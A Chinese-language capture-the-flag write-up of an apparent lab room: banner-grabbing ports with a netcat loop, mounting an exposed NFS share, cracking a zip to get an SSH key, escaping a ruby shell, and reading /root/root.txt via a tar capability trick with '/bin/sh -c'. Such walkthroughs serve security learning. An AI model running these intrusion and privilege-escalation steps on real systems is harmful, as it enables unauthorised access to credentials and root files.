端口扫描

端口扫描,WTF直接干了几万个端口出来。看了下房间的提示,从1337端口开始

nc 10.10.200.74 1337                  
Welcome traveller, to the beginning of your journey
To begin, find the trollface
Legend says he's hiding in the first 100 ports
Try printing the banners from the ports

提示让我们打印输出,nc一下1,2,3,端口试试发现回显了一行行的字符,写一个bash脚本来循环nc1至100端口并将输出保存下来

#!/bin/bash

# 指定要连接的 IP 地址

IP_ADDRESS="10.10.200.74"

# 指定保存输出的文本文件

OUTPUT_FILE="output.txt"

# 循环连接端口范围,并将输出追加到文件

for ((PORT=1; PORT<=100; PORT++)); do
echo "Connecting to $IP_ADDRESS:$PORT..."
nc $IP_ADDRESS $PORT >> $OUTPUT_FILE 2>/dev/null
echo "-------------------------" >> $OUTPUT_FILE
done

echo "Scan completed. Results saved in $OUTPUT_FILE"

在打印出来的画中发现了go to port 12345

Getshell

再nc一下,告诉我们NFC共享有配置错误的漏洞。

showmount -e 10.10.200.74

发现有一个共享:/home/nfs

mkdir /tmp/kalinfs
mount -t nfs 10.10.200.74:/home/nfs /tmp/kalinfs -nolock

发现有一个backup.zip,但是是可读的,把移到kali上来

cat backup.zip |base64 -w 0 >~/backup.txt
cat backup.txt|base64 -d >backup.zip

压缩包有密码,我们需要破解,用zip2john先转换成哈希,然后用john破解,得到密码:zxcvbnm

解压之后得到了密钥,是一个叫做hades的用户

chmod 600 id_rsa

22端口无法连接。根据hint,2500-4500,也许是ssh端口的范围,写个bash脚本探测一下:

nmap -sV -sT -p2500-4500 10.10.44.248 >result.txt

发现3333端口才是纯正的ssh服务(

提权

虽然说是登陆进去了,但是交互的shell有点奇怪,输入whoami,但是报错了,根据报错提示发现我们正处于ruby的shell中

直接bash切换到bash环境,但是竟然输入命令没有回应,没办法只好继续用ruby

而且我们没有写文件的权限,太奇怪了

再次搜索了一下,发现system “/bin/bash”所执行开启的shell可以由回显!

根据房间提示:

getcap -r / 2>/dev/null

可以使用tar,拥有的是搜索和查找的能力,直接找flag

/bin/tar xf "/root/root.txt" -I '/bin/sh -c "cat 1>&2"'

碎碎念

这个房间的作者脑洞是真的大,趣味性也挺大的233比较考察bash脚本的编写,还有端口发现什么的。还有ruby有点必要去了解一些233